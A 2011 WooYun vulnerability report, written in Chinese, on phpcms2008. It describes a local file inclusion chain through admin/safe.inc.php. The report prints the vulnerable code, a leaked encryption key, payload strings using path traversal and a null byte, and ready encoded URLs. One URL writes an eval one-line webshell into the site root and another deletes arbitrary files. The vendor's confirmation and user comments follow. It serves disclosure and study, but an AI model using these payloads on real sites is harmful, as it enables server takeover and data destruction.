当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(3) 关注此漏洞

缺陷编号: WooYun-2011-01814

漏洞标题: phpcms本地包含漏洞导致的写shell漏洞和删除任意文件漏洞

相关厂商: 盛大网络

漏洞作者: c4rp3nt3r

提交时间: 2011-04-04 19:14

公开时间: 2011-05-04 21:00

漏洞类型: 文件包含

危害等级: 高

自评Rank: 10

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: phpcms php源码审核

2人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2011-04-04: 细节已通知厂商并且等待厂商处理中
2011-04-06: 厂商已经确认,细节仅向厂商公开
2011-04-16: 细节向核心白帽子及相关领域专家公开
2011-04-26: 细节向普通白帽子公开
2011-05-06: 细节向实习白帽子公开
2011-05-04: 细节向公众公开

简要描述:

by c4rp3nt3r@0x50sec.org

phpcms2008 sp2 or sp4偶没自信看
这年头发个bug伤不起啊,厂商忽略,被人当成装X,有木有?心情不爽啊不管这么多了。

也木有什么危害,就直接发出来吧。
phpcms本地包含拿shell的方法,这篇文章接上一个
http://www.wooyun.org/bugs/wooyun-2010-01795
《phpcms的phpcms_auth导致的任意变量覆盖漏洞、本地文件包含漏洞和任意文件下载漏洞》

phpcms本地包含类漏洞,如果该文件包含了/include/common.inc.php就可以包含执行很多后台才能执行的文件了。

由于phpcms的全局变量机制,导致能拿shell的方法很多,类似的问题不止一个。

admin/safe.inc.php文件是后台扫木马的程序,但是很可惜的是虽然文件名叫做safe,但是一点也不safe。

公布一个本地包含秒杀拿shell的方法。

包含:admin/safe.inc.php文件GET提交一下数据
将在根目录下生成一句话
用上一篇得到的密钥$key='sIpeofogblFVCildZEwe';
加密如下字符串

$evil='i=1&m=1&f=fuck&action=edit_code&file_path=evil.php&code=<?eval($_POST[a])?>&mod=../../admin/safe.inc.php%00';

http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBUBBhIwBA0II3AlAAABBTUWERt0FRMGCkEXChxgNSwNCVlmehITEiVYQTA2IDQ2NycLalZSQjcqE1hdZ19LQUkOAw8FKHkwCAoBdCwZBl05GBVKVl8=
将在根目录下生成一句话木马

同理任意文件删除漏洞:
$evil='i=1&m=1&f=fuck&action=del_file&files=robots.txt&mod=../../admin/safe.inc.php%00';
http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBQAAzkJDg4JYDAqBQkXZzcYBxw9A0sbHhtBDwMia21HQ0p0ahYBHiAeShwHCQJMBSg1bRkEFH91Rw==

参考:Flyh4t [PhpCMS]一个漏洞的二次利用


详细说明:

贴上存在漏洞的代码

//admin/safe.inc.php

<?php



defined('IN_PHPCMS') or exit('Access Denied');

// include/common.inc.php 里面声明了常量

// define('IN_PHPCMS', TRUE);





if(empty($action)) $action = "start";



$safe = cache_read('safe.php');



$filecheck = load('filecheck.class.php');



if(empty($safe))



{



$safe = array (



'file_type' => 'php|js',



'code' => '',



'func' => 'com|system|exec|eval|escapeshell|cmd|passthru|base64_decode|gzuncompress',



'dir' => $filecheck->checked_dirs()



);



}



switch ($action)



{

...

case 'edit_code':



if (file_put_contents(PHPCMS_ROOT.$file_path, stripcslashes($code)))



{



showmessage('修改成功!');



}



break;







case 'del_file':



$file_path = urldecode($files);





if (empty($file_path))



{



showmessage('请选择文件');



}



$file_list = cache_read('scan_backdoor.php');



unset($file_list[$file_path]);



cache_write('scan_backdoor.php',$file_list);



@unlink(PHPCMS_ROOT.$file_path);



showmessage('文件删除成功!', '?mod=phpcms&file=safe&action=scan_table');



break;

...



漏洞证明:

将在根目录下生成一句话

用上一篇得到的密钥$key='sIpeofogblFVCildZEwe';

加密如下字符串



$evil='i=1&m=1&f=fuck&action=edit_code&file_path=evil.php&code=<?eval($_POST[a])?>&mod=../../admin/safe.inc.php%00';



http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBUBBhIwBA0II3AlAAABBTUWERt0FRMGCkEXChxgNSwNCVlmehITEiVYQTA2IDQ2NycLalZSQjcqE1hdZ19LQUkOAw8FKHkwCAoBdCwZBl05GBVKVl8=

将在根目录下生成一句话木马



同理任意文件删除漏洞:

$evil='i=1&m=1&f=fuck&action=del_file&files=robots.txt&mod=../../admin/safe.inc.php%00';

http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBQAAzkJDg4JYDAqBQkXZzcYBxw9A0sbHhtBDwMia21HQ0p0ahYBHiAeShwHCQJMBSg1bRkEFH91Rw==

修复方案:

版权声明:转载请注明来源 c4rp3nt3r@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2011-04-06 10:09

厂商回复:

谢谢 c4rp3nt3r提交漏洞。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2011-04-04 20:32 | Mr.杨总 ( 路人 | Rank:14 漏洞数:4 | 绿色 无毒 你懂得。。。。心要宽 。。。)
    1

    貌似能利用的不多 额 你博客我也是第一个评论 呵呵

  2. 2011-04-04 20:49 | c4rp3nt3r ( 实习白帽子 | Rank:70 漏洞数:10 | 人生的意义就在于从一个圈子跳到另一个更大...)
    1

    得先破解位异或加密的字符串密钥才能触发play.php的本地包含

  3. 2011-04-04 23:23 | xsser 认证白帽子 ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)
    1

    我觉得我有责任顶

  4. 2011-04-04 23:50 | 蚊虫 ( 实习白帽子 | Rank:36 漏洞数:12 | 我装逼这么牛可还是没妞喜欢我)
    1

    有点鸡肋..

登录后才能发表评论,请先 登录